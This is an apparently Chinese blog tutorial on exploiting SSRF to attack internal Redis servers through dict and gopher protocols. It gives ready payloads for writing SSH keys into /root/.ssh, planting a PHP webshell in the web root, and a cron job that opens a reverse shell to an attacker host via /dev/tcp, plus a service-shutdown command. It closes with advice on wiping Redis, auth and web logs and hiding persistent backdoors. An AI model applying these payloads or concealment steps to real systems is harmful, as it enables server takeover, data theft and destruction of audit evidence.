别再只测SSRF读内网了:手把手教你用dict/gopher协议探测并攻击内网Redis服务
从SSRF到内网Redis渗透:实战进阶指南
发现SSRF漏洞只是开始,真正的挑战在于如何将其转化为实际的攻击路径。当目标内网存在Redis服务时,一个看似简单的SSRF可能成为整个内网沦陷的起点。本文将带你深入探索如何通过dict和gopher协议,将SSRF漏洞的利用价值最大化。
1. 内网Redis服务的基础探测
在确认存在SSRF漏洞后,第一步是识别内网中开放的Redis服务。不同于简单的端口扫描,我们需要更隐蔽且有效的方法。
使用dict协议进行指纹识别:
dict://target:6379/info这个简单的命令可以返回Redis服务的详细信息,包括版本号、运行模式、操作系统等关键数据。如果返回包含"redis_version"字段,基本可以确认目标为Redis服务。
常见响应分析:
- 未授权访问:直接返回完整信息
- 需要认证:返回"NOAUTH Authentication required"
- 非Redis服务:返回错误或无关信息
提示:dict协议的优势在于其简洁性,大多数防火墙不会拦截这种看似无害的字典协议请求。
信息收集的关键指标:
- Redis版本:某些版本存在已知漏洞
- 操作系统:决定后续攻击方式的选择
- 持久化配置:影响写入文件的成功率
- 内存使用情况:判断服务是否活跃
2. Redis未授权访问的确认与利用
确认Redis服务存在只是第一步,更重要的是判断是否可利用。未授权访问的Redis服务是内网渗透中最理想的攻击目标。
三种快速验证方法:
- 直接执行命令:
dict://target:6379/set test "exploit"如果返回"+OK",说明可执行任意命令
- 查看数据库配置:
dict://target:6379/config get *返回的配置信息可能包含敏感路径
- 尝试关闭服务:
dict://target:6379/shutdown谨慎使用,可能导致服务中断
风险评估矩阵:
| 风险等级 | 判断标准 | 可利用性 |
|---|---|---|
| 高危 | 完全未授权,可执行任意命令 | 直接攻击 |
| 中危 | 需要弱密码认证 | 可尝试爆破 |
| 低危 | 强密码保护或网络隔离 | 难以利用 |
3. 从探测到攻击:Gopher协议的实战应用
当dict协议确认目标可攻击后,gopher协议将成为我们的主要武器。它能构造完整的Redis协议格式请求,实现更复杂的攻击。
Gopher协议攻击的基本结构:
gopher://target:6379/_[Redis协议格式的命令]需要将命令转换为Redis协议格式,包括:
- 用*号表示参数个数
- $号后跟参数长度
- 实际参数内容
三种经典攻击方式详解:
3.1 写入SSH公钥获取系统权限
这是最直接的提权方法,前提是Redis以root权限运行。
- 生成SSH密钥对:
ssh-keygen -t rsa -C "exploit"- 构造Redis命令:
set sshkey "\n\n公钥内容\n\n" config set dir /root/.ssh/ config set dbfilename authorized_keys save- 转换为gopher格式:
gopher://target:6379/_*3%0d%0a$3%0d%0aset%0d%0a$6%0d%0asshkey%0d%0a$...(省略完整编码)3.2 写入Webshell控制网站
当目标服务器同时运行Web服务时,这种方法尤为有效。
关键步骤:
- 确定Web根目录(通过info命令或猜测常见路径)
- 构造恶意PHP代码:
set shell "<?php system($_GET['cmd']);?>" config set dir /var/www/html/ config set dbfilename shell.php save注意:成功率取决于Web目录的写权限和Redis运行权限
3.3 通过计划任务实现持久化
在Linux系统下,可以通过写入crontab实现长期控制。
特殊考虑:
- 需要知道当前用户名
- 系统需启用cron服务
- Redis需要有写入/etc/cron.d/的权限
示例payload:
set task "\n* * * * * bash -i >& /dev/tcp/attacker/4444 0>&1\n" config set dir /etc/cron.d/ config set dbfilename redis-exploit save4. 不同环境下的攻击变通方案
实际渗透中,理想情况很少见。以下是几种常见限制及应对策略。
网络隔离情况:
- Redis仅监听127.0.0.1:尝试SSRF+Redis主从复制攻击
- 存在防火墙规则:使用DNS外带数据确认连通性
- 出站流量受限:尝试反弹shell到内部其他可达主机
Redis配置防护:
- 启用了protected-mode:尝试低权限操作
- 配置了rename-command:分析可用的命令别名
- 内存限制严格:使用短小精悍的payload
权限限制场景:
- Redis以低权限运行:尝试写入用户目录而非系统目录
- 存在SELinux/AppArmor:优先考虑Web目录写入
- 文件系统只读:转向信息窃取或作为跳板
5. 攻击后的痕迹清理与持久化
成功入侵后,如何保持访问并隐藏踪迹同样重要。
日志清理要点:
- Redis日志:修改或删除/var/log/redis/redis-server.log
- 系统日志:检查/var/log/auth.log和/var/log/syslog
- Web日志:如果写入webshell,清理相关访问记录
隐蔽持久化方法:
- 在.bashrc或.profile中添加后门
- 创建隐藏的SSH授权密钥
- 部署内存驻留型木马
- 利用系统服务实现自启动
在实际渗透测试中,Redis服务的利用方式远不止文中提到的几种。每个内网环境都有其独特性,需要根据实际情况灵活调整攻击策略。我曾遇到过一个案例,通过Redis主从复制功能,成功绕过了网络隔离限制,最终拿下了整个内网的控制权。这种层层递进的攻击路径,正是内网渗透的魅力所在。
